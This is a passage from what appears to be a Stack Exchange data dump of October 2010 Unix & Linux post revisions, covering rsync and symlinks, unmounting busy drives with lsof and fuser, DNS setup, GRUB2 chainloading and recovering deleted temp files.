  <row Id="6519" PostHistoryTypeId="2" PostId="3098" RevisionGUID="b80b6a77-992e-4dc1-9b21-a2209d6e8d1a" CreationDate="2010-10-14T08:24:32.430" UserId="2031" Text="It doesn't need to be done by rsync, but it would be nice not have to write a script to do this, and rsync is very close to what I want.&#xD;&#xA;&#xD;&#xA;&quot;rsync -a&quot; (or -l) can preserve symlinks, and -L can dereference symlinks and copy it as if it is normal file/dir. However, is it possible to keep the symlink, and also copy the files/directories the links points to?&#xD;&#xA;&#xD;&#xA;Here's an example. Say we have this folder hierarchy:&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_file -&gt; ../dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_dir -&gt; ../dirC&#xD;&#xA;&#xD;&#xA;&gt; dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirB/not_this_file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file2&#xD;&#xA;&#xD;&#xA;&gt; dirD/others&#xD;&#xA;&#xD;&#xA;and when I do &quot;rsync -aR dirA dest&quot; (or something else), I'd like to have exactly these appear in dest.&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_file -&gt; ../dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_dir -&gt; ../dirC&#xD;&#xA;&#xD;&#xA;&gt; dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file2&#xD;&#xA;&#xD;&#xA;Let's assume symlinks of absolute path can be ignored.&#xD;&#xA;Is this possible with rsync? Thank you.&#xD;&#xA;" />
  <row Id="6520" PostHistoryTypeId="1" PostId="3098" RevisionGUID="b80b6a77-992e-4dc1-9b21-a2209d6e8d1a" CreationDate="2010-10-14T08:24:32.430" UserId="2031" Text="Copy symlink AND where it points to using rsync" />
  <row Id="6521" PostHistoryTypeId="3" PostId="3098" RevisionGUID="b80b6a77-992e-4dc1-9b21-a2209d6e8d1a" CreationDate="2010-10-14T08:24:32.430" UserId="2031" Text="ésymlinkàérsyncà" />
  <row Id="6522" PostHistoryTypeId="2" PostId="3099" RevisionGUID="288267c3-1a6e-434c-9b18-a2d3e09c75f5" CreationDate="2010-10-14T08:46:57.767" UserId="2153" Text="OK so this is from memory, from years ago.&#xD;&#xA;&#xD;&#xA;Vi has a status bar line - and I've seen it setup to report the column number of the cursor in the status bar... just don't remember how that was accomplished.&#xD;&#xA;&#xD;&#xA;Yes, this was vi not vim - on solaris, or sunos maybe.&#xD;&#xA;&#xD;&#xA;HTH,&#xD;&#xA;-pbr&#xD;&#xA;" />
  <row Id="6523" PostHistoryTypeId="2" PostId="3100" RevisionGUID="8724e52f-d878-4072-9800-18b00026f0f4" CreationDate="2010-10-14T08:53:35.440" UserId="2153" Text="I built a similar thing on solaris years back.  Not even screen-related; it was session related.  &quot;if $TTY = whatever&quot;.  echox has the right idea.&#xD;&#xA;&#xD;&#xA;tip: if you're doing this across multiple machines, recognize that each machine deserves its own definition of what should be done when you login there, rather than all being the same per your nfs mounted /home or similar.   &#xD;&#xA;&#xD;&#xA;HTH,&#xD;&#xA;-pbr" />
  <row Id="6524" PostHistoryTypeId="5" PostId="3059" RevisionGUID="b5145d17-b072-45ca-b277-adc4e4548bf9" CreationDate="2010-10-14T08:55:38.200" UserId="2045" Comment="added 105 characters in body" Text="I need xfontsel to select right font for xterm. But its not installed. I tried `yum` but it returned &#xD;&#xA;&#xD;&#xA;&gt;Warning: No matches found for: xfontsel &lt;br/&gt;&#xD;&#xA;&gt;No Matches found&#xD;&#xA;&#xD;&#xA;I googled for xfontsel source code to compile myself but didn't get any link for that.&#xD;&#xA;&#xD;&#xA; 1. How can I install xfontsel on Fedora 13?&#xD;&#xA; 2. Its not installed by default and neither it is available in `yum` repo. So does this mean Fedora will not include it anymore? Why?&#xD;&#xA; 3. Any alternative to xfontsel? I tried `xlsfonts` but it does not give preview of fonts.&#xD;&#xA;&#xD;&#xA;Thanks for your time and help.&#xD;&#xA;&#xD;&#xA;Edit&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;    $ su -c &quot;yum install xorg-x11-apps.i686&quot;&#xD;&#xA;&#xD;&#xA;This did the trick on my Fedora 13.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6525" PostHistoryTypeId="2" PostId="3101" RevisionGUID="a93294f7-23f7-4d67-b5fa-9bf2c0e1bcae" CreationDate="2010-10-14T10:00:58.883" UserId="1116" Text="[vcs-home](http://vcs-home.madduck.net/) probably has information that you would be interested in." />
  <row Id="6526" PostHistoryTypeId="2" PostId="3102" RevisionGUID="c267b24d-e083-4072-966c-8546c2503d51" CreationDate="2010-10-14T10:03:24.847" UserId="2045" Text="In my opinion, there is one more reason, beside those mentioned in other answers, that Linux platform does not have much viruses. Source code of almost all the components of Linux is freely available. &#xD;&#xA;&#xD;&#xA;Say, a team of 5 members develop an application. We include testers and few others in the list and at most 10 person will know the code. Out of these ten, chances are some will have not enough detailed knowledge of the code. Hence the number of people who know code good enough to point out bugs, security holes is very less.&#xD;&#xA;&#xD;&#xA;Now if this code is made free/open source, the pair of eyes that will review it increases drastically. Hence the probability of finding security holes also increases.&#xD;&#xA;&#xD;&#xA;These new contributors bring their experience with them, and often fresh eyes are able to notice loopholes that originally developers ignored/took for granted/missed. &#xD;&#xA;&#xD;&#xA;The more popular the application is, the more contributors it has. I think this freedom/openness contributes to less number of vulnerabilities of Linux platform. " />
  <row Id="6527" PostHistoryTypeId="4" PostId="3086" RevisionGUID="fd4557bd-9151-45a7-9b86-eb24bb265d71" CreationDate="2010-10-14T11:37:30.747" UserId="305" Comment="edited title" Text="Command-line-friendly full-text indexing ?" />
  <row Id="6528" PostHistoryTypeId="2" PostId="3103" RevisionGUID="a2b8bd9b-8953-43dc-9be3-d751f41d53fe" CreationDate="2010-10-14T11:47:52.927" UserId="29" Text="This would be possible if and only if you these were all in 'mydir' and you were to rsync 'mydir' from one place to another. Rsync isn't capable of copying outside of the path you give it (with the exception of following links). e.g&#xD;&#xA;&#xD;&#xA;    mydir/dirA ...&#xD;&#xA;    mydir/dirB ...&#xD;&#xA;    ..." />
  <row Id="6529" PostHistoryTypeId="2" PostId="3104" RevisionGUID="fab1ea98-cca4-4695-b79b-4faf5422a490" CreationDate="2010-10-14T12:07:33.153" UserId="2275" Text="Hi,&#xD;&#xA;&#xD;&#xA;How can I set up desktop defaults, much like most distributions do for every new user?&#xD;&#xA;(ex. Default Wallpaper, apps, etc)" />
  <row Id="6530" PostHistoryTypeId="1" PostId="3104" RevisionGUID="fab1ea98-cca4-4695-b79b-4faf5422a490" CreationDate="2010-10-14T12:07:33.153" UserId="2275" Text="setting desktop defaults" />
  <row Id="6531" PostHistoryTypeId="3" PostId="3104" RevisionGUID="fab1ea98-cca4-4695-b79b-4faf5422a490" CreationDate="2010-10-14T12:07:33.153" UserId="2275" Text="édesktopàédefaultsà" />
  <row Id="6532" PostHistoryTypeId="2" PostId="3105" RevisionGUID="a89e7dc7-2d3f-4c3c-a914-a1cfd7698928" CreationDate="2010-10-14T12:15:23.873" UserId="481" Text="When a new user and his home directory are created, the home directory is &quot;inititalized&quot; with the contents of `/etc/skel`.&#xD;&#xA;&#xD;&#xA;So if you setup a desktop like you want it to be for new users and then copy the relevant config-files to `/etc/skel`, that's what the desktop will look like for new users." />
  <row Id="6533" PostHistoryTypeId="5" PostId="2981" RevisionGUID="fb1edcc5-d43b-4bb7-af2f-85f533c6cfb6" CreationDate="2010-10-14T12:47:01.740" UserId="1941" Comment="added 2 characters in body" Text="There is an extensive howto on how to get gcc and binutils running on a FreeBSD System at http://www.freebsd.org/doc/en/articles/custom-gcc/article.html As you say FreeNAS is based on FreeBSD, this probably applies here, too. But keep in mind, that compiling complex software on an embedded system isn't much fun. Probably you will have more success by setting up a cross-compiler on your main system and compile there the software for you FreeNAS system. See http://www.productionmonkeys.net/guides/freenas/building-freenas for a howto on this." />
  <row Id="6534" PostHistoryTypeId="2" PostId="3106" RevisionGUID="ad57feb3-97fe-4c7f-a0ab-7a59b85706bb" CreationDate="2010-10-14T13:18:54.297" UserId="1791" Text="I've had a mac at work lately, and was amazed to see that Xcode would still find my latest project after I renamed its folder and moved it someplace else. &#xD;&#xA;&#xD;&#xA;Now I understand that this is the result of a heavy infrastructure at work, but I was wondering if it would be possible to somehow come up with similar functionality in the Unix world ?" />
  <row Id="6535" PostHistoryTypeId="1" PostId="3106" RevisionGUID="ad57feb3-97fe-4c7f-a0ab-7a59b85706bb" CreationDate="2010-10-14T13:18:54.297" UserId="1791" Text="Strategies for maintaing a reference to a file after it was moved or renamed ?" />
  <row Id="6536" PostHistoryTypeId="3" PostId="3106" RevisionGUID="ad57feb3-97fe-4c7f-a0ab-7a59b85706bb" CreationDate="2010-10-14T13:18:54.297" UserId="1791" Text="éunixàéfilesystemsà" />
  <row Id="6537" PostHistoryTypeId="2" PostId="3107" RevisionGUID="d098bb63-a6ed-405c-becf-ee7c61f949d8" CreationDate="2010-10-14T13:27:08.397" UserId="33" Text="Well on Linux you could use [inotify][1] to track changes to your files. Inotify is in-kernel and has bindings to many different languages allowing you to quickly script such functionality if the app you are working with does not support inotify yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Inotify" />
  <row Id="6538" PostHistoryTypeId="5" PostId="3104" RevisionGUID="ffe78dea-fa0f-4a65-811f-3dc51eade4f8" CreationDate="2010-10-14T14:48:58.773" UserId="1207" Comment="deleted 6 characters in body; edited title; edited body" Text="How can I set up desktop defaults, much like most distributions do, for every new user?&#xD;&#xA;(ex. default wallpaper, apps, etc)" />
  <row Id="6539" PostHistoryTypeId="4" PostId="3104" RevisionGUID="ffe78dea-fa0f-4a65-811f-3dc51eade4f8" CreationDate="2010-10-14T14:48:58.773" UserId="1207" Comment="deleted 6 characters in body; edited title; edited body" Text="How can I set desktop defaults for new users?" />
  <row Id="6540" PostHistoryTypeId="5" PostId="3106" RevisionGUID="f00a9d9f-7c8a-40ca-9a23-575b175d62c4" CreationDate="2010-10-14T14:54:04.270" UserId="1791" Comment="added 13 characters in body" Text="I've had a mac at work lately, and was amazed to see that Xcode would still find my latest project after I renamed its folder and moved it someplace else. &#xD;&#xA;&#xD;&#xA;Now I understand that this is the result of a heavy infrastructure at work, but I was wondering if it would be possible to somehow come up with similar functionality for the rest of the Unix world ?" />
  <row Id="6541" PostHistoryTypeId="2" PostId="3108" RevisionGUID="7673929f-47de-42de-b3d9-7f11e9e6700e" CreationDate="2010-10-14T14:56:19.180" UserId="2291" Text="I've 2 linux computers, one redhat (client), and one ubuntu (set up with shared internet connection as described [here][1])&#xD;&#xA;&#xD;&#xA;At the moment, on the wired connection between the computers, I can ping the other computer from both sides; IP addresses are setup statically.  The ubuntu computer has access to the internet through wireless.&#xD;&#xA;&#xD;&#xA;I want to setup the redhat client to be able to access the same DNS server as the ubuntu one uses.  In the article above, it is assumed that the client is another ubuntu box, and they advise to do the following:&#xD;&#xA;&#xD;&#xA;    prepend domain-name-servers 208.67.222.222,208.67.220.220;&#xD;&#xA;&#xD;&#xA;However, the redhat client doesn't have the file **/etc/dhcp3/dhclient.conf**.  Is there another way of achieving the above in redhat?&#xD;&#xA;&#xD;&#xA;(I've tried to setup the ubuntu box as a dhcp server using **dnsmasq**, but it didn't work)&#xD;&#xA;&#xD;&#xA;(BTW, I thought I needed a crossover cable for this type of setup, but that didn't work - an ordinary ethernet cable was fine)&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Internet/ConnectionSharing" />
  <row Id="6542" PostHistoryTypeId="1" PostId="3108" RevisionGUID="7673929f-47de-42de-b3d9-7f11e9e6700e" CreationDate="2010-10-14T14:56:19.180" UserId="2291" Text="Static DNS setup on client of shared internet connection" />
  <row Id="6543" PostHistoryTypeId="3" PostId="3108" RevisionGUID="7673929f-47de-42de-b3d9-7f11e9e6700e" CreationDate="2010-10-14T14:56:19.180" UserId="2291" Text="éubuntuàénetworkingàérhelà" />
  <row Id="6544" PostHistoryTypeId="4" PostId="3106" RevisionGUID="48f8b411-64a4-4c05-bd6a-831e8134c426" CreationDate="2010-10-14T15:01:29.267" UserId="73" Comment="edited title" Text="Strategies for maintaining a reference to a file after it was moved or renamed ?" />
  <row Id="6545" PostHistoryTypeId="2" PostId="3109" RevisionGUID="8cab1c47-d2ed-4507-b836-49d99a019dfc" CreationDate="2010-10-14T16:23:41.583" UserId="1327" Text="Sometimes, I would like to umount a **usb**, but I get a 'drive  is busy' error'&#xD;&#xA;&#xD;&#xA;How can I find out which proccesses are accessing a drive?" />
  <row Id="6546" PostHistoryTypeId="1" PostId="3109" RevisionGUID="8cab1c47-d2ed-4507-b836-49d99a019dfc" CreationDate="2010-10-14T16:23:41.583" UserId="1327" Text="How to unmount a busy drive" />
  <row Id="6547" PostHistoryTypeId="3" PostId="3109" RevisionGUID="8cab1c47-d2ed-4507-b836-49d99a019dfc" CreationDate="2010-10-14T16:23:41.583" UserId="1327" Text="éumountà" />
  <row Id="6549" PostHistoryTypeId="5" PostId="3098" RevisionGUID="60da50e9-dd7d-44b0-8cad-012b7e59b9d6" CreationDate="2010-10-14T16:44:53.127" UserId="2031" Comment="added 59 characters in body" Text="It doesn't need to be done by rsync, but it would be nice not have to write a script to do this, and rsync is very close to what I want.&#xD;&#xA;&#xD;&#xA;&quot;rsync -a&quot; (or -l) can preserve symlinks, and -L can dereference symlinks and copy it as if it is normal file/dir. However, is it possible to keep the symlink, and also copy the files/directories the links points to?&#xD;&#xA;&#xD;&#xA;Here's an example. Say we have this folder hierarchy:&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_file -&gt; ../dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_dir -&gt; ../dirC&#xD;&#xA;&#xD;&#xA;&gt; dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirB/not_this_file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file2&#xD;&#xA;&#xD;&#xA;&gt; dirD/others&#xD;&#xA;&#xD;&#xA;and when I do &quot;rsync -aR dirA dest&quot; (or something else), I'd like to have exactly these appear in dest.&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_file -&gt; ../dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirA/link_to_dir -&gt; ../dirC&#xD;&#xA;&#xD;&#xA;&gt; dirB/file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file&#xD;&#xA;&#xD;&#xA;&gt; dirC/file2&#xD;&#xA;&#xD;&#xA;Is this possible with rsync? Thank you.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;Let's assume symlinks having absolute path or pointing to outside the source directory can be ignored.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6550" PostHistoryTypeId="2" PostId="3111" RevisionGUID="a72c0bdc-bf17-4d12-bfb7-20da4b87f725" CreationDate="2010-10-14T16:46:35.920" UserId="1474" Text="Use `lsof | grep /media/whatever` to find out what is using the mount.&#xD;&#xA;&#xD;&#xA;Also, consider `umount -l` (lazy umount) to prevent new processes from using the drive while you clean up." />
  <row Id="6551" PostHistoryTypeId="5" PostId="3075" RevisionGUID="52133e0d-8538-417b-858c-229b8c937216" CreationDate="2010-10-14T16:49:31.233" UserId="250" Comment="I can boot Ubuntu" Text="This is really getting me down. I have Gentoo and Ubuntu, both with Grub2. Gentoo has a dedicated `/boot` partition, while Ubuntu does not. I have a `menuentry` in Gentoo's `/etc/grub.d/40_custom` to boot Ubuntu (and Ubuntu does boot OK).&#xD;&#xA;&#xD;&#xA;Because Ubuntu comes with Grub I want to chainload into that one, instead of maintaining my entry which sets the root, kernel, initrd and stuff. This is what I have for the chainloader (Ubuntu is on `/dev/sda4` and I have already installed Grub there):&#xD;&#xA;&#xD;&#xA;    menuentry 'Chainloader' {&#xD;&#xA;        insmod chain&#xD;&#xA;        set root=(hd0,4)&#xD;&#xA;        chainloader +1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It is giving me `error: Invalid signature` and I found no solution available. Can someone point out something?" />
  <row Id="6552" PostHistoryTypeId="2" PostId="3112" RevisionGUID="491e797e-8904-4a85-8dde-f9e08bb8187b" CreationDate="2010-10-14T17:09:36.973" UserId="1941" Text="Dns servers are specified in all Linux distribution in the file /etc/resolv.conf it should contain&#xD;&#xA;&#xD;&#xA;    nameserver 208.67.222.222&#xD;&#xA;    nameserver 208.67.220.220&#xD;&#xA;&#xD;&#xA;for your servers. However, when using dynamic network setup instead of static, the setup tool used might overwrite this.&#xD;&#xA;&#xD;&#xA;It's not clear which version of Redhat you use, so I've got to shoot in the dark a bit, but if you have system-config-network, this is probably the right tool to use for network configuration. More modern systems normally use network-manager. &#xD;&#xA;" />
  <row Id="6553" PostHistoryTypeId="2" PostId="3113" RevisionGUID="0d2124d1-1e36-4fa5-a487-aac395b3edf8" CreationDate="2010-10-14T17:52:25.617" UserId="273" Text="Isn't sda4 going to be (hd0,3) in grub, or has this sort of thing changed in grub2?" />
  <row Id="6554" PostHistoryTypeId="2" PostId="3114" RevisionGUID="fa6550b8-77c4-4abb-82d4-6dbbd382b492" CreationDate="2010-10-14T17:59:56.063" UserId="2293" Text="You can use `lsof` like Peter said, or if you're sure you just wanna kill all those things and unmount it, you can probably do something like:&#xD;&#xA;&#xD;&#xA;    fuser -k /mnt/path&#xD;&#xA;    umount /mnt/path&#xD;&#xA;" />
  <row Id="6555" PostHistoryTypeId="2" PostId="3115" RevisionGUID="fe401927-4fa5-4ec7-aa83-360f5af900c0" CreationDate="2010-10-14T18:02:46.880" UserId="885" Text="Most of the time, the best command to use is [lsof](http://people.freebsd.org/~abe/) (“&lt;strong&gt;l&lt;/strong&gt;i&lt;strong&gt;s&lt;/strong&gt;t &lt;strong&gt;o&lt;/strong&gt;pen &lt;strong&gt;f&lt;/strong&gt;iles”).&#xD;&#xA;&#xD;&#xA;    lsof +f -- /media/usb0&#xD;&#xA;&#xD;&#xA;where `/media/usb0` is the mount point of the USB drive or other filesystem to unmount. `+f --` tells lsof to treat the subsequent argument as a mount point; it usually, but not always, manages on its own, so that `lsof /media/usb0` also works. This finds open files (even unlinked ones), memory mapped files, current directories, and some more obscure uses. You'll need to run the command as root to get information on other users' processes (and I think there are unices where `lsof` has to be run as root).&#xD;&#xA;&#xD;&#xA;There are uses that lsof will not find; these are uncommon on removable media. They include:&#xD;&#xA;&#xD;&#xA;* mount points: you can't unmount `/foo` if `/foo/bar` is a mount point.&#xD;&#xA;* mount devices: you can't unmount `/foo` if `/foo/bar` is a mounted block device or loop-mounted regular file, or if it is the source of a Linux bind mount.&#xD;&#xA;* NFS export: lsof won't detect that a tree is exported by a kernel NFS server.&#xD;&#xA;&#xD;&#xA;Another command that can serve in a pinch is fuser, which only lists PIDs of processes with open files on the device:&#xD;&#xA;&#xD;&#xA;    fuser -m /media/usb0&#xD;&#xA;" />
  <row Id="6556" PostHistoryTypeId="2" PostId="3116" RevisionGUID="58ebc938-dea1-494d-9a5c-69fcda23347d" CreationDate="2010-10-14T18:09:49.790" UserId="2291" Text="I hadn't set up NAT on the ubuntu server.&#xD;&#xA;&#xD;&#xA;When that was set up I didn't need any 'prepend' stuff as I was able to set the IP address of the DNS server on the client (redhat, in resolv.conf) to be the same IP address as the ubuntu server was using.  NAT handled the translation from one network to the other.&#xD;&#xA;&#xD;&#xA;The instructions for setting up NAT on the ubuntu server I got from here:&#xD;&#xA;&#xD;&#xA;http://ubuntuforums.org/showthread.php?t=713874 &#xD;&#xA;&#xD;&#xA;Thanks fschmitt for your answer." />
  <row Id="6557" PostHistoryTypeId="2" PostId="3117" RevisionGUID="ecfb293b-5a18-4ed9-9e17-943bbeadf859" CreationDate="2010-10-14T18:35:42.567" UserId="916" Text="I'm looking for some good resources on running `daemontools` on a NetBSD box. I've installed the binary package via `pkg_add`, but I can't seem to find an `rc` script for starting, e.g., `svscan`. I'm mostly a Linux and FreeBSD user, and this is the sort of thing I would expect to find after an install. Did I just look in the wrong place? Should I be building for source to find those sorts of extras? Is there a good guide somewhere that covers things like this? Thanks." />
  <row Id="6558" PostHistoryTypeId="1" PostId="3117" RevisionGUID="ecfb293b-5a18-4ed9-9e17-943bbeadf859" CreationDate="2010-10-14T18:35:42.567" UserId="916" Text="Are there any good tutorials for NetBSD and `daemontools`?" />
  <row Id="6559" PostHistoryTypeId="3" PostId="3117" RevisionGUID="ecfb293b-5a18-4ed9-9e17-943bbeadf859" CreationDate="2010-10-14T18:35:42.567" UserId="916" Text="ébsdàénetbsdà" />
  <row Id="6560" PostHistoryTypeId="2" PostId="3118" RevisionGUID="4946b9db-517c-4fbc-b5a3-6ac590e75f76" CreationDate="2010-10-14T18:44:27.467" UserDisplayName="Jhonny" Text="I'm trying the preview release of [Flash Player &quot;Square&quot;][1] for Linux and noticed that video files are now being deleted from the `/tmp/` folder.&#xD;&#xA;&#xD;&#xA;Yet the files are still in use (I can see them with lsof):&#xD;&#xA;&#xD;&#xA;    chromium- 8948 user   25u   REG                8,5  2599793    229908 /tmp/FlashXXStJt3K (deleted)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a way to avoid flash from deleting them or a way to recover them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://labs.adobe.com/downloads/flashplayer10.html" />
  <row Id="6561" PostHistoryTypeId="1" PostId="3118" RevisionGUID="4946b9db-517c-4fbc-b5a3-6ac590e75f76" CreationDate="2010-10-14T18:44:27.467" UserDisplayName="Jhonny" Text="Avoid libflashplayer.so from deleting a file?" />
  <row Id="6562" PostHistoryTypeId="3" PostId="3118" RevisionGUID="4946b9db-517c-4fbc-b5a3-6ac590e75f76" CreationDate="2010-10-14T18:44:27.467" UserDisplayName="Jhonny" Text="éfilesàéflashàédataörecoveryà" />
  <row Id="6563" PostHistoryTypeId="5" PostId="3118" RevisionGUID="bf4a8176-9b73-4034-901e-cfa489ecf590" CreationDate="2010-10-14T18:46:20.897" UserId="73" Comment="edited body; edited title" Text="I'm trying the preview release of [Flash Player &quot;Square&quot;][1] for Linux and noticed that video files are now being deleted from the `/tmp/` folder.&#xD;&#xA;&#xD;&#xA;Yet the files are still in use (I can see them with `lsof`):&#xD;&#xA;&#xD;&#xA;    chromium- 8948 user   25u   REG                8,5  2599793    229908 /tmp/FlashXXStJt3K (deleted)&#xD;&#xA;&#xD;&#xA;Is there a way to prevent flash from deleting them or a way to recover them?&#xD;&#xA;&#xD;&#xA;  [1]: http://labs.adobe.com/downloads/flashplayer10.html" />
  <row Id="6564" PostHistoryTypeId="4" PostId="3118" RevisionGUID="bf4a8176-9b73-4034-901e-cfa489ecf590" CreationDate="2010-10-14T18:46:20.897" UserId="73" Comment="edited body; edited title" Text="Prevent libflashplayer.so from deleting a file?" />
  <row Id="6565" PostHistoryTypeId="2" PostId="3119" RevisionGUID="cd30dacc-6289-487d-ba0c-9744827f4dde" CreationDate="2010-10-14T18:49:53.417" UserId="250" Text="Hi Halpo,&#xD;&#xA;&#xD;&#xA;According to [this thread][1] you need to have Tuxonice installed. While I'm not entirely sure about this, can you open `synaptic` and look for packages named &quot;tuxonice&quot;? Unfortunately, different posts say different things, so all that I can help is [this guide][2].&#xD;&#xA;&#xD;&#xA;Good luck :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=1430274&#xD;&#xA;  [2]: https://help.ubuntu.com/community/PowerManagement/Hiberate#TuxOnIce" />
  <row Id="6566" PostHistoryTypeId="2" PostId="3120" RevisionGUID="0e6dd915-1fc7-4a6a-aa21-30c401702d51" CreationDate="2010-10-14T18:54:18.207" UserId="1534" Text="I've never tried this before, but...&#xD;&#xA;&#xD;&#xA;There is a link to the file in `/proc/8948/fd/`. You can catenate the file as root (it's *only* readable as root), and pipe it to a new file. Whether the file is intact, I've not verified." />
  <row Id="6567" PostHistoryTypeId="2" PostId="3121" RevisionGUID="470feca4-c625-47c8-96b5-114870be8cb8" CreationDate="2010-10-14T18:59:02.930" UserId="1941" Text="I once did this on OpenBSD and followed http://openbsd-wiki.org/index.php?title=Installing_Daemontools&#xD;&#xA;&#xD;&#xA;Maybe it can help under NetBSD, too?" />
  <row Id="6568" PostHistoryTypeId="5" PostId="2601" RevisionGUID="2ad27c5d-cb5a-411e-9365-6e07434c544f" CreationDate="2010-10-14T19:21:49.680" UserId="73" Comment="added 2 characters in body; edited title" Text="With my new built computer Ubuntu 10.4 lucid won't hibernate or suspend.  It's a custom built core i7 on the Gigabyte X58A-UD3R motherboard. Hibernate is enabled in the bios.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Running `sudo hibernate` gives:&#xD;&#xA;&#xD;&#xA;&gt; hibernate:Warning: Tuxonice binary&#xD;&#xA;&gt; signature file not found. Some modules&#xD;&#xA;&gt; failed to unload: nvidia hibernate:&#xD;&#xA;&gt; Aborting suspend due to errors in&#xD;&#xA;&gt; ModulesUnloadBlacklist (use --force to&#xD;&#xA;&gt; override).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6569" PostHistoryTypeId="4" PostId="2601" RevisionGUID="2ad27c5d-cb5a-411e-9365-6e07434c544f" CreationDate="2010-10-14T19:21:49.680" UserId="73" Comment="added 2 characters in body; edited title" Text="Ubuntu won't Hibernate" />
  <row Id="6570" PostHistoryTypeId="2" PostId="3122" RevisionGUID="1384f4d9-f236-40df-aa36-a3d055c2f420" CreationDate="2010-10-14T19:37:05.237" UserId="2212" Text="Is it possible to view error messages that show up on the non-interactive terminal while in GUI mode, instead of having to press CTRL+ALT+F1 or CTRL+ALT+F2 to view the messages every time and then switching back to GUI mode by pressing CTRL+ALT+F7?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="6571" PostHistoryTypeId="1" PostId="3122" RevisionGUID="1384f4d9-f236-40df-aa36-a3d055c2f420" CreationDate="2010-10-14T19:37:05.237" UserId="2212" Text="Viewing bash messages in GUI" />
  <row Id="6572" PostHistoryTypeId="3" PostId="3122" RevisionGUID="1384f4d9-f236-40df-aa36-a3d055c2f420" CreationDate="2010-10-14T19:37:05.237" UserId="2212" Text="éterminalà" />
  <row Id="6573" PostHistoryTypeId="2" PostId="3123" RevisionGUID="19b1a0e7-7b64-4fc4-aba5-b6e017b82518" CreationDate="2010-10-14T20:08:29.650" UserId="1941" Text="You can use xconsole for this. From its description: &#xD;&#xA;&#xD;&#xA;&gt; The xconsole program displays messages which are usually sent to /dev/console." />
  <row Id="6574" PostHistoryTypeId="5" PostId="3123" RevisionGUID="63ea8c4c-891e-4cbe-82e2-6ee024341562" CreationDate="2010-10-14T20:13:31.667" UserId="1941" Comment="added 152 characters in body" Text="You can use xconsole for this. From its description: &#xD;&#xA;&#xD;&#xA;&gt; The xconsole program displays messages which are usually sent to /dev/console.&#xD;&#xA;&#xD;&#xA;Depending on the configuration your distribution chose you might have to start it as root (i.e. with `sudo xconsole` respectively `su -c xconsole`)," />
  <row Id="6575" PostHistoryTypeId="4" PostId="3122" RevisionGUID="ba84736a-f370-491d-8bf8-a65f48662e20" CreationDate="2010-10-14T20:14:21.647" UserId="1941" Comment="Clarified subject" Text="Viewing system console messages in GUI" />
  <row Id="6576" PostHistoryTypeId="2" PostId="3124" RevisionGUID="fe714c66-c44a-44d6-83d6-b21b9e8ac326" CreationDate="2010-10-14T20:19:01.813" UserId="2215" Text="From [this][1] article it appears that I can limit the size of roaming profiles with Group Policy Objects.  At this point, I'm assuming that I will now have to set up LDAP in order to facilitate GPOs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://technet.microsoft.com/en-us/library/cc781862%28WS.10%29.aspx" />
  <row Id="6577" PostHistoryTypeId="2" PostId="3125" RevisionGUID="a16fa893-e147-4b85-aab6-cc8a59afca13" CreationDate="2010-10-14T20:21:09.603" UserId="1920" Text="I am building a Linux kernel, via the Debian linux-2.6 source package.&#xD;&#xA;&#xD;&#xA;Now there's CONFIG_VZ_FAIRSCHED=y in a sub-config, which gets merged into the final .config, where apparently also &quot;y&quot; gets used:&#xD;&#xA;&#xD;&#xA;    # grep FAIRSCHED debian/config/**/*&#xD;&#xA;    debian/config/featureset-openvz/config:CONFIG_VZ_FAIRSCHED=y&#xD;&#xA;&#xD;&#xA;The .config used during build:&#xD;&#xA;&#xD;&#xA;    # grep FAIRSCHED debian/build/build_amd64_openvz_amd64/.config&#xD;&#xA;    CONFIG_VZ_FAIRSCHED=y&#xD;&#xA;&#xD;&#xA;I could understand the warning, if now &quot;n&quot; would be used, but nothing appears to have been changed?!&#xD;&#xA;&#xD;&#xA;This is the output during the `make -f debian/rules.gen binary-arch_amd64_openvz_amd64 binary-indep` call:&#xD;&#xA;&#xD;&#xA;    make[2]: Entering directory `/var/lib/vz/private/linux.nobackup/linux-2.6/debian/build/source_amd64_openvz'&#xD;&#xA;      HOSTCC  scripts/basic/fixdep&#xD;&#xA;      HOSTCC  scripts/basic/docproc&#xD;&#xA;      HOSTCC  scripts/basic/hash&#xD;&#xA;      GEN     /var/lib/vz/private/linux.nobackup/linux-2.6/debian/build/build_amd64_openvz_amd64/Makefile&#xD;&#xA;      HOSTCC  scripts/kconfig/conf.o&#xD;&#xA;      HOSTCC  scripts/kconfig/kxgettext.o&#xD;&#xA;      SHIPPED scripts/kconfig/zconf.tab.c&#xD;&#xA;      SHIPPED scripts/kconfig/lex.zconf.c&#xD;&#xA;      SHIPPED scripts/kconfig/zconf.hash.c&#xD;&#xA;      HOSTCC  scripts/kconfig/zconf.tab.o&#xD;&#xA;      HOSTLD  scripts/kconfig/conf&#xD;&#xA;    scripts/kconfig/conf -R 